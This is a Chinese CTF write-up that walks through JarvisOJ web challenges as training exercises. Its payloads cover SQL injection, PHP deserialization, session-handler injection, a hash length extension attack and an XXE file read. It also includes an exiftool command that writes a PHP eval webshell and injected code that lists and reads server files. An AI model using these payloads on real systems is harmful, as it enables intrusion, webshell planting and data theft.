JarvisOJ-Web-wp
写在前面
这几天 BUU 平台机房出故障了,回来把 JarvisOJ 平台已经做过的和剩下的 web 全部写一遍 wp 吧,很怀念大一那时候跟鹏神晚上通宵干题的时光,一转眼都过了一年了
PORT51
需要用公网的一台服务器访问其 51 端口
curl --local-port 51 http://web.jarvisoj.com:32770/
LOCALHOST
添加 xff 头x-forwarded-for: 127.0.0.1
Login
一个登录框,随便填抓包发现有 hint
,是一个经典的 md5 型 sql 注入
1 | Hint: "select * from `admin` where password='".md5($pass,true)."'" |
payload:ffifdyop
md5()
函数第二个参数是规定输出格式。true
:输出原始16字符二进制格式吗,false
:输出32字符十六进制数
原理:想要绕过,需将此语句填充为:select * form admin where password=''or 1
以前师傅们的总结,字符串:ffifdyop
经过md5
加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:'or'6<乱码>
所以拼接后的语句为:select * from admin where password=''or'6<乱码>'
,就相当于select * from admin where password=''or 1
,实现注入。
神盾局的秘密
源码中有提示,base64 解码后为shield.jpg
,经典文件包含漏洞
读showimg.php
,拿到源码
1 |
|
过滤掉了pctf
、..
、/
、\\
,也就是常用的目录穿越的 payload 过滤掉了,读index.php
1 |
|
包含了一个文件,然后新建了一个对象,可以 GET 给一个参数class
,然后反序列化class
,读shield.php
1 |
|
提示了 flag 在pctf.php
,知道了Shield
类的构造方法,所以思路就是不能用img
参数直接传pctf.php
,因为过滤卡死了,只能用反序列化一个对象,执行对象的readfile()
函数,序列化内容本地跑一下就出来了,最后的 payload:?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
IN A Mess
源码中注释提示了index.phps
,访问拿到源码,这个源码还要自己整理
1 | if(!$_GET['id']) |
考察一些常见的绕过
id
:$id==0
,弱比较用 0e 或者输入英文字母或者给数组,都能绕过
a
:这个a
参数和file_get_contents()
函数的绕过姿势就很多了,最常见的是php://input
的方式来绕过,也可以用data:,
协议来绕过,比如?a=data:,1112 is a nice lab!
或者data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==
参考资料
b
:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
可以用%00
截断来绕过,strlen
函数对%00
不截断但substr
和eregi
截断
得到一个目录
进来后就是简单的 sql 注入环节
双写能绕过,注释需要用/*1*/
,1 可以是任意值,一套带走,好像记得也可以用 sqlmap 直接梭
1 | //爆字段数:得到3 |
RE?
下载下来一个 so 文件,是 mysql UDF 开发的东西,我的理解是相当于写了一个函数库,类似于 dll ,mysql 用的时候导入
参考资料
sql 语句:
1 CREATE FUNCTION XXXXX RETURNS INTEGER SONAME "YYYYY.so";1存储过程的名字叫做
CreateUDF
,当时看到这条语句很迷惑,根本不知道是做什么用的,只能在项目资源中查找YYYYY.so
这个库文件,结果却什么也没有找到,一番努力之后我断定,项目中调用CreateUDF
之后并没有产生任何效果。关于UDF详细的解释和使用方法请参照MYSQL官方文档:Adding a New User-Defined Function
这里只做一个简单的解释:
UDF
全称是User defined function
, 属于 mysql 的一个拓展接口,一般翻译为用户自定义函数,这个是用来拓展 mysql 的技术手段。我们知道 mysql 本身提供了大量的函数,并且也支持定义函数,为什么我们还需要 UDF 呢?这主要看到了他的优点:UDF 本身的兼容性很好,并且比存储方法具有更高的执行效率,同时支持聚集函数,相比修改原代码增加函数,更加方便简单,但是UDF也处于mysqld的内存空间中,不谨慎的内存使用很容易导致mysql的服务挂掉。
复制 so 文件到/usr/lib64/mysql/plugin
,执行语句导入,然后执行 getflag() 函数就出来了
flag在管理员手里
扫目录发现有index.php~
,是 php 的备份恢复文件,改后缀名为index.php.swp
拖 kali 里面拿 vim 打开就行,vim -r 文件
恢复上次异常的文件,拿到源码
1 |
|
简单读一下代码逻辑
首先是设两个 cookie 一个是role
,值是$role
序列化后的字符串,另一个是hsh
,值是$salt
拼接上倒序后的$s
($role
序列化后的字符串)然后进行md5
加密
然后就是把 cookie 中的 role
反序列化给 $role
,hsh
的值跟md5($salt.strrev($_COOKIE["role"])
进行强比较,就是把 cookie 中的 role
进行倒序与$salt
拼接再进行 md5
加密,如果用户修改了 cookie 中的role
,则此强比较失败
最后如果两个强比较都为真,$auth
为真,给 flag
是一个经典的哈希长度扩展攻击
参考资料
我对哈希长度扩展攻击的理解,看了小半个下午,感觉摸到一点头绪
举个例子简单来说,假设加密字符串123456
,盐为600
,加密时候,待加密字符串为600123456
,开始补 0 ,补到长度为 4 的倍数,此时字符串为600123456000
,然后四个四个切开求和,6001+2345+6000=14346
作为 hash 的值,最后抹掉一位给用户,用户拿到143X6
,此时开始长度扩展攻击,用户输入1234560001234
,加盐以后补 0 得到6001234560001234
,计算6001+2345+6000+1234=15580
,用户得到一个15X80
,现在知道了15X80=143X6+1234
,爆破就能够得到123456
的 hash 值为14346
理解一下原理,就是需要 hash 的字符串在进行加密的时候,是分成几组字符子串,分组进行加密的,在这个过程中,存在覆盖的关系,当第一个字符串分组进行加密过后得到的 hash 值,它是作为下一组字符串进行 hash 加密时候的registers
值(盐),可以理解为hash(registers1+字符串组2)=registers2
,我理解为上一组的结果作为下一组的盐,直到最后一组进行加密完成,最后一组的registers
值就是 hash 的最终值,因为 hash 计算结果是唯一的
如果 salt 的值不知道,但是知道长度,又知道 sha1(salt),那么就也就可以知道 sha1(salt+“填充数据”+“任意可控数据”)。这里的 salt+“填充数据” 就是对 salt 进行 sha1 时所补全的数据 + 最后8位的长度描述符。一般来说,salt+”填充数据”的长度就是64字节,正好是一个分组。如果salt的长度就大于了56个字节,那么加入填充数据后的长度应该是N个64字节,等于N个分组。
理一下思路,如果进行“复杂数学变化”时输入的registers
值和该次运算的字符串分组相同,那么他们各自生成的新的registers
值也相同,我们现在需要伪造的 cookie 是{s:5:"admin"}
,已知了一个registers
值,也就是第一次加密{s:5:"guset"}
后的 cookie ,我们需要爆破出盐的长度,然后填充成个字符串分组,让增加的{s:5:"admin"}
字符串变成下一组字符串分组,让第一次加密后的 cookie 当作加密{s:5:"admin"}
时候的盐,这样就能绕过了
最后的脚本来自百度,还有一个要注意的点就是,PHP在反序列化时,会忽略后面多余的字符,如果我们的 role
为 {'s:5:"admin";\x00\x00\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80s:5:"guest";'}
,反序列化时只有{s:5:"admin"}
这些内容被解析
1 | import requests,hashpumpy,urllib |
Chopper
进去一个菜刀的图片,然后有个管理员登陆的按钮,点进去弹登陆错误,源码中有提示管理员的 IP :'admin ip is 202.5.19.128'
菜刀目录下的源码中有提示一个proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg
所以就是套了一层娃,接下来就是扫目录扫到一个robots.txt
然后里面有两个文件名字trojan.php
和trojan.php.txt
,后者里面是个🐎
1 |
|
trojan.php
是 shell 的页面,蚁剑连就行了
Easy Gallery
文件上传
传了一个经典的图片🐎,得到了图片ID:1613651325
,路径是/uploads/xxxxxx.jpg
,在view
页面的 url 有?page=view
,猜测 page 参数的值是一个路径,填了图片的路径,然后有报错,会给文件自动添加.php
后缀
1 | ma2.jpg |
但是在view
页面直接填写图片 ID 和图片类型就可以访问到图片
蚁剑连不上,最后是用%00
截断拿到 flag
Simple Injection
有用户名错误
和密码错误
两种回显,所以确定有admin
账号,fuzz 出来空格被过滤,可以用/**/
代替,盲注打出密码
直接上脚本
1 | import requests |
解md5后得:eTAloCrEP
,登录拿到 flag
api调用
这题是剩下没做过的,slim 架构的 xxe 漏洞,题目提示是请设法获得目标机器 /home/ctf/flag.txt 中的 flag 值
参考资料
抓包得到 json,源码是利用了 ajax ,把 json 改为 xml,把头中的 Content-Type改为 application/xml,利用 xxe 打出 flag
1 |
|
1 |
|
拿到 flag
图片上传漏洞
这题现在已经挂了,但是之前已经做过了,参考别人的写一遍 wp 吧
参考资料
先用 exiftool 生成一个一句话后门 路径由 phpinfo 得到
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/x.php; \"" 1.png
接着上传该文件
然后上传文件的时候需要注意需要 filetype=show 或者 filetype=win,原因就是文章中原话:
1 | 这个方法鸡肋之处在于,因为delegate.xml中配置的encode="show"(或"win"),所以只有输出为.show或.win格式的情况下才会调用这个委托,而普通的文件处理是不会触发这个命令的。 |
蚁剑连x.php
密码为x
PHPINFO
参考资料
1 |
|
这是道 php 序列化漏洞的题目
1.原理
1 | ini_set('session.serialize_handler', 'php_serialize'); |
三种处理 session 的方式不同
- php:存储方式是,键名+竖线+经过 serialize() 函数序列处理的值
1 | name|s:6:"spoock" |
- php_serialize(php>5.5.4):存储方式是,经过 serialize() 函数序列化处理的值
1 | a:1:{s:4:"name";s:6:"spoock";} |
- php_binary:存储方式是,键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
形成原理是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时 “|”会被当成键值对的分隔符
将 payload 写入 session ,php 有个上传文件的会将文件名写入 session 的技巧,满足以下 2 个条件就会写入到 session 中
session.upload_progress.enabled = On
- 上传一个字段的属性名和
session.upload_progress.name
的值相,这里根据 phpinfo 信息看得出,值为PHP_SESSION_UPLOAD_PROGRESS
, 即name="PHP_SESSION_UPLOAD_PROGRESS"
写个页面来打,通过这个网页去抓包改包达到目的
1 | <html> |
“PHP_SESSION_UPLOAD_PROGRESS” 的 value不能为空
本地生成 payload
1 |
|
1 | 看根目录 payload |
phpinfo 页面中可以看到 session 的存放位置,有个/opt/lampp/
估计是装的的 xampp 这个集成的环境,而这个集成环境的 web 页面放在 htdocs
目录下的
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";} |
最后拿到 flag 的 payload
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";} |
WEB?
有一个check功能,输入错误的密码会提示“Wrong Password!!”,查看源代码,有个app.js。将该js文件格式化后在里面查找字符串“Wrong Password!!”,
格式化 js 网站:(https://tool.oschina.net/codeformat/js/)
如下:
1 | $.post("checkpass.json", t, |
可以看到有个checkpass(e)
函数,定位到该函数处。
1 | r.checkpass = function() { |
定位到 checkpassREACTHOTLOADER
处:
1 | function(e) { |
发现是一个线性方程组
脚本
1 | import numpy as np |
得到 flag
这次回过头重新做一遍,整理 wp 真的是体会到温故知新的感觉了,一年前做得懵懵的题目,现在重新理解起来也不那么困难了